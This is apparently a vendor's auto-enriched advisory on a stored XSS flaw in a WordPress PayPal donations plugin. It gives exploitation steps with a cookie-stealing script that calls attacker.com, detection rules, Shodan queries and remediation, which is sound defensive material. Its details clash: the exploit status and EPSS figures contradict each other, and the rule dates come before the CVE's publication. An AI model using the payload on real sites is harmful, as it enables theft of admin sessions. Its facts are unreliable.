☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpecommerce logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-57891

CVE-2025-57891 Cross-Site Scripting in Wpecommerce
📅 PUBLISHED: 2025-08-22 12:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.2× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-57891 is a Stored Cross-Site Scripting (XSS) vulnerability in the Recurring PayPal Donations WordPress plugin (versions <= 1.8). The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This is a WordPress ecosystem issue, not related to Apache or Nginx.

The vulnerability has a CVSS score of 5.9 (Medium), with an EPSS probability of 0.0% (low exploitation likelihood). No public exploit code or Nuclei template is available, and no patch has been released by the vendor (Wpecommerce). The attack vector is network-based, requires low complexity, and needs user interaction (e.g., an admin viewing the injected content).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. Since no patch is available, the supply chain is compromised for all versions <= 1.8. Organizations should treat this as a high-priority supply chain risk and consider removing the plugin until a fix is released.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 5.9 (Medium)
  • Attack Vector (AV): Network (N) – exploitable remotely.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): None (N) – unauthenticated attacker can inject.
  • User Interaction (UI): Required (R) – victim must visit the affected page.
  • Scope (S): Changed (C) – impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – limited data exposure.
  • Integrity (I): Low (L) – limited ability to modify content.
  • Availability (A): Low (L) – limited disruption.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS in a WordPress admin context (e.g., donation history) could lead to session hijacking, defacement, or phishing attacks.

Deep Dive & Mechanics

The vulnerability resides in the recurring-donation plugin's input handling. The plugin likely stores donation-related data (e.g., donor name, message, or custom fields) in the WordPress database without proper sanitization or output encoding. When an admin or user views the stored data (e.g., in the admin dashboard or frontend donation list), the injected script executes.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()). This allows an attacker to submit a donation with malicious JavaScript in a text field.

Attack Flow:

  1. Attacker submits a donation via the plugin's form, injecting <script>alert('XSS')</script> in a text field.
  2. The plugin stores the input in the wp_postmeta or custom table.
  3. An admin visits the "Donations" page in the WordPress admin panel.
  4. The plugin retrieves and displays the stored data without sanitization.
  5. The injected script executes in the admin's browser, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the admin.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like:

// Vulnerable code (recurring-donation plugin, version <= 1.8)
echo '<div class="donation-message">' . $donation_message . '</div>';

A patched version would use proper escaping:

// Patched code (hypothetical)
echo '<div class="donation-message">' . esc_html( $donation_message ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with the Recurring PayPal Donations plugin (<= 1.8) installed and active.
  • The plugin must have a publicly accessible donation form (e.g., via shortcode or widget).

Exploitation Steps:

  1. Identify the donation form endpoint (e.g., /donate/ or a custom URL).
  2. Submit a donation with a malicious payload in a text field (e.g., "Donor Name" or "Message"). Example payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Wait for an admin to view the donation list in the WordPress admin panel (e.g., /wp-admin/admin.php?page=recurring-donations).
  4. The script executes, exfiltrating the admin's session cookie to the attacker's server.

Note: No public exploit code is available, so this is a manual process.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual donation submissions containing HTML/JavaScript in text fields.
  • Check WordPress database for stored XSS payloads in wp_postmeta or custom tables.
  • Use web application firewall (WAF) rules to block common XSS patterns.

Defense:

  • Immediately disable or remove the plugin until a patch is released.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Use WordPress security plugins (e.g., Wordfence) to add input validation.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to attacker-controlled domains containing document.cookie or localStorage.
    • Unusual POST requests to the donation form with HTML tags in text fields.
  • Host IOCs:

    • Presence of <script> tags in the wp_postmeta table (e.g., SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%').
    • Modified plugin files (though unlikely, as the vulnerability is in the core plugin code).
  • File IOCs:

    • Plugin file: /wp-content/plugins/recurring-paypal-donations/recurring-donation.php (or similar) containing unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_57891_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Recurring PayPal Donations plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57891"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = /recurring-paypal-donations/
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Recurring PayPal Donations Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via donation form submissions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/donate'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in donation messages (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57891 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/donate"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete the Recurring PayPal Donations plugin from all WordPress installations.
  2. Scan for compromise – Check the WordPress database for stored XSS payloads using the YARA rule above.
  3. Rotate admin credentials – If any admin accessed the donation list, rotate all admin passwords and session tokens.

Long-term Mitigation:

  • Monitor the plugin's official page for a patched version (>= 1.9). Apply immediately when available.
  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Educate users to avoid clicking on suspicious donation links.

Workaround (if plugin cannot be removed):

  • Add a custom filter to sanitize donation input:
    add_filter( 'recurring_donation_message', 'esc_html' );
    
  • Use a WordPress security plugin to enforce output escaping.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Recurring PayPal Donations"
http.html:"recurring-donation"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-57891/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.